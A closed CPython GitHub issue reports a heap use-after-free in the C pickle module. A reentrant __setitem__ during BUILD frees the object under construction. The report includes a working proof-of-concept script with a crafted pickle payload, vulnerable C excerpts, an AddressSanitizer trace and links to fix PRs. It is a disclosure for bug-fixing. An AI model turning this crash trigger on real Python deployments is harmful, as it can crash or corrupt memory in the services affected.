-
-
Notifications
You must be signed in to change notification settings - Fork 34.1k
Closed
Labels
3.13bugs and security fixesbugs and security fixes3.14bugs and security fixesbugs and security fixes3.15new features, bugs and security fixesnew features, bugs and security fixesextension-modulesC modules in the Modules dirC modules in the Modules dirstdlibStandard Library Python modules in the Lib/ directoryStandard Library Python modules in the Lib/ directorytype-crashA hard crash of the interpreter, possibly with a core dumpA hard crash of the interpreter, possibly with a core dump
Description
What happened?
The default load_build path writes state entries with PyObject_SetItem, so a malicious __setitem__ can re-enter _pickle.Unpickler.load. The nested load clears the unpickler stack with Pdata_clear, dropping the only reference to the instance under construction. When the outer BUILD resumes and calls PyObject_SetAttr to apply slot state, it dereferences the freed instance and crashes with a heap use-after-free.
Proof of Concept:
import io
import _pickle
PAYLOAD = b'\x80\x05c__main__\nVictim\n)R}(\x8c\x01aK\x01\x8c\x01bK\x02u}\x8c\x04slotK\x03s\x86b.'
current = None
class Trap(dict):
def __setitem__(self, key, value):
if not hasattr(self, "_tripped"):
self._tripped = True
try:
current.load()
except Exception:
pass
super().__setitem__(key, value)
class Victim:
__slots__ = ("__dict__", "slot")
def __init__(self):
self.__dict__ = Trap()
self.slot = None
current = _pickle.Unpickler(io.BytesIO(PAYLOAD))
current.load()Vulnerable Code Snippet:
Click to expand
/* Buggy Re-entrant Path */
static PyObject *
_pickle_Unpickler_load_impl(UnpicklerObject *self, PyTypeObject *cls)
{
PickleState *st = _Pickle_GetStateByClass(cls);
/* ... */
return load(st, self);
}
static int
load_build(PickleState *st, UnpicklerObject *self)
{
PyObject *inst, *slotstate;
/* ... */
inst = self->stack->data[Py_SIZE(self->stack) - 1]; /* crashing pointer derived */
/* ... */
while (PyDict_Next(state, &i, &d_key, &d_value)) {
/* ... */
if (PyObject_SetItem(dict, d_key, d_value) < 0) { /* Reentrant call site */
/* ... */
goto error;
}
/* ... */
}
if (slotstate != NULL) {
while (PyDict_Next(slotstate, &i, &d_key, &d_value)) {
if (PyObject_SetAttr(inst, d_key, d_value) < 0) /* Crash site */
goto error;
}
}
/* ... */
return status;
}
/* Clobbering Path */
static PyObject *
load(PickleState *st, UnpicklerObject *self)
{
if (Py_SIZE(self->stack))
Pdata_clear(self->stack, 0);
/* ... */
return NULL;
}
static int
Pdata_clear(Pdata *self, Py_ssize_t clearto)
{
Py_ssize_t i = Py_SIZE(self);
/* ... */
while (--i >= clearto) {
Py_CLEAR(self->data[i]); /* state mutate site */
}
Py_SET_SIZE(self, clearto);
return 0;
}Sanitizer Output:
Click to expand
=================================================================
==317223==ERROR: AddressSanitizer: heap-use-after-free on address 0x504000071da8 at pc 0x598a2c6c0c17 bp 0x7ffe89222130 sp 0x7ffe89222120
READ of size 8 at 0x504000071da8 thread T0
#0 0x598a2c6c0c16 in _Py_TYPE Include/object.h:277
#1 0x598a2c6c0c16 in PyObject_SetAttr Objects/object.c:1463
#2 0x7c60633d95c5 in load_build Modules/_pickle.c:6767
#3 0x7c60633e6307 in load Modules/_pickle.c:6960
#4 0x598a2c5a13e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
#5 0x598a2c5a13e7 in PyObject_Vectorcall Objects/call.c:327
#6 0x598a2c45df33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
#7 0x598a2c91fad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
#8 0x598a2c91fad6 in _PyEval_Vector Python/ceval.c:2001
#9 0x598a2c91fad6 in PyEval_EvalCode Python/ceval.c:884
#10 0x598a2ca6516e in run_eval_code_obj Python/pythonrun.c:1365
#11 0x598a2ca6516e in run_mod Python/pythonrun.c:1459
#12 0x598a2ca69e17 in pyrun_file Python/pythonrun.c:1293
#13 0x598a2ca69e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
#14 0x598a2ca6a93c in _PyRun_AnyFileObject Python/pythonrun.c:81
#15 0x598a2cadde3c in pymain_run_file_obj Modules/main.c:410
#16 0x598a2cadde3c in pymain_run_file Modules/main.c:429
#17 0x598a2cadde3c in pymain_run_python Modules/main.c:691
#18 0x598a2cadf71e in Py_RunMain Modules/main.c:772
#19 0x598a2cadf71e in pymain_main Modules/main.c:802
#20 0x598a2cadf71e in Py_BytesMain Modules/main.c:826
#21 0x7c606382a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#22 0x7c606382a28a in __libc_start_main_impl ../csu/libc-start.c:360
#23 0x598a2c479634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)
0x504000071da8 is located 24 bytes inside of 48-byte region [0x504000071d90,0x504000071dc0)
freed by thread T0 here:
#0 0x7c6063cfc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
#1 0x598a2c7328f3 in subtype_dealloc Objects/typeobject.c:2852
#2 0x598a2c6be1d8 in _Py_Dealloc Objects/object.c:3200
#3 0x7c60633e254b in Py_DECREF Include/refcount.h:418
#4 0x7c60633e254b in Pdata_clear Modules/_pickle.c:480
#5 0x7c60633e254b in load Modules/_pickle.c:6892
#6 0x598a2c5a13e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
#7 0x598a2c5a13e7 in PyObject_Vectorcall Objects/call.c:327
#8 0x598a2c45df33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
#9 0x598a2c9202a5 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
#10 0x598a2c9202a5 in _PyEval_Vector Python/ceval.c:2001
#11 0x598a2c7606e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
#12 0x598a2c7606e7 in vectorcall_unbound Objects/typeobject.c:3033
#13 0x598a2c7606e7 in vectorcall_method Objects/typeobject.c:3104
#14 0x598a2c7606e7 in slot_mp_ass_subscript Objects/typeobject.c:10386
#15 0x7c60633d90a3 in load_build Modules/_pickle.c:6745
#16 0x7c60633e6307 in load Modules/_pickle.c:6960
#17 0x598a2c5a13e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
#18 0x598a2c5a13e7 in PyObject_Vectorcall Objects/call.c:327
#19 0x598a2c45df33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
#20 0x598a2c91fad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
#21 0x598a2c91fad6 in _PyEval_Vector Python/ceval.c:2001
#22 0x598a2c91fad6 in PyEval_EvalCode Python/ceval.c:884
#23 0x598a2ca6516e in run_eval_code_obj Python/pythonrun.c:1365
#24 0x598a2ca6516e in run_mod Python/pythonrun.c:1459
#25 0x598a2ca69e17 in pyrun_file Python/pythonrun.c:1293
#26 0x598a2ca69e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
#27 0x598a2ca6a93c in _PyRun_AnyFileObject Python/pythonrun.c:81
#28 0x598a2cadde3c in pymain_run_file_obj Modules/main.c:410
#29 0x598a2cadde3c in pymain_run_file Modules/main.c:429
#30 0x598a2cadde3c in pymain_run_python Modules/main.c:691
#31 0x598a2cadf71e in Py_RunMain Modules/main.c:772
#32 0x598a2cadf71e in pymain_main Modules/main.c:802
#33 0x598a2cadf71e in Py_BytesMain Modules/main.c:826
#34 0x7c606382a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#35 0x7c606382a28a in __libc_start_main_impl ../csu/libc-start.c:360
#36 0x598a2c479634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)
previously allocated by thread T0 here:
#0 0x7c6063cfd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x598a2c74688e in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46
#2 0x598a2c74688e in _PyType_AllocNoTrack Objects/typeobject.c:2504
#3 0x598a2c746af4 in PyType_GenericAlloc Objects/typeobject.c:2535
#4 0x598a2c73e118 in type_call Objects/typeobject.c:2448
#5 0x598a2c5a1bb4 in _PyObject_Call Objects/call.c:361
#6 0x598a2c5a1bb4 in PyObject_CallObject Objects/call.c:472
#7 0x7c60633e4d77 in load_reduce Modules/_pickle.c:6821
#8 0x7c60633e4d77 in load Modules/_pickle.c:6976
#9 0x598a2c5a13e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
#10 0x598a2c5a13e7 in PyObject_Vectorcall Objects/call.c:327
#11 0x598a2c45df33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
#12 0x598a2c91fad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
#13 0x598a2c91fad6 in _PyEval_Vector Python/ceval.c:2001
#14 0x598a2c91fad6 in PyEval_EvalCode Python/ceval.c:884
#15 0x598a2ca6516e in run_eval_code_obj Python/pythonrun.c:1365
#16 0x598a2ca6516e in run_mod Python/pythonrun.c:1459
#17 0x598a2ca69e17 in pyrun_file Python/pythonrun.c:1293
#18 0x598a2ca69e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
#19 0x598a2ca6a93c in _PyRun_AnyFileObject Python/pythonrun.c:81
#20 0x598a2cadde3c in pymain_run_file_obj Modules/main.c:410
#21 0x598a2cadde3c in pymain_run_file Modules/main.c:429
#22 0x598a2cadde3c in pymain_run_python Modules/main.c:691
#23 0x598a2cadf71e in Py_RunMain Modules/main.c:772
#24 0x598a2cadf71e in pymain_main Modules/main.c:802
#25 0x598a2cadf71e in Py_BytesMain Modules/main.c:826
#26 0x7c606382a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#27 0x7c606382a28a in __libc_start_main_impl ../csu/libc-start.c:360
#28 0x598a2c479634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)
SUMMARY: AddressSanitizer: heap-use-after-free Include/object.h:277 in _Py_TYPE
Shadow bytes around the buggy address:
0x504000071b00: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fa
0x504000071b80: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
0x504000071c00: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd
0x504000071c80: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
0x504000071d00: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 07
=>0x504000071d80: fa fa fd fd fd[fd]fd fd fa fa fd fd fd fd fd fa
0x504000071e00: fa fa 00 00 00 00 00 05 fa fa fd fd fd fd fd fd
0x504000071e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x504000071f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x504000071f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x504000072000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==317223==ABORTING
CPython versions tested on:
Details
| Python Version | Status | Exit Code |
|---|---|---|
Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 28 2025, 16:51:20) |
ASAN | 1 |
Python 3.10.19+ (heads/3.10:014261980b1, Oct 28 2025, 16:52:08) [Clang 18.1.3 (1ubuntu1)] |
ASAN | 1 |
Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 28 2025, 16:53:08) [Clang 18.1.3 (1ubuntu1)] |
ASAN | 1 |
Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 28 2025, 16:54:14) [Clang 18.1.3 (1ubuntu1)] |
ASAN | 1 |
Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 28 2025, 16:55:18) [Clang 18.1.3 (1ubuntu1)] |
ASAN | 1 |
Python 3.14.0+ (heads/3.14:2e216728038, Oct 28 2025, 16:56:16) [Clang 18.1.3 (1ubuntu1)] |
ASAN | 1 |
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0] |
ASAN | 1 |
Operating systems tested on:
Linux
Output from running 'python -VV' on the command line:
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0]
Linked PRs
- gh-143638: Forbid cuncurrent use of the Pickler and Unpickler objects in C implementation #143664
- [3.14] gh-143638: Forbid cuncurrent use of the Pickler and Unpickler objects in C implementation (GH-143664) #143686
- [3.13] gh-143638: Forbid cuncurrent use of the Pickler and Unpickler objects in C implementation (GH-143664) #143687
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
3.13bugs and security fixesbugs and security fixes3.14bugs and security fixesbugs and security fixes3.15new features, bugs and security fixesnew features, bugs and security fixesextension-modulesC modules in the Modules dirC modules in the Modules dirstdlibStandard Library Python modules in the Lib/ directoryStandard Library Python modules in the Lib/ directorytype-crashA hard crash of the interpreter, possibly with a core dumpA hard crash of the interpreter, possibly with a core dump
Projects
Status
Done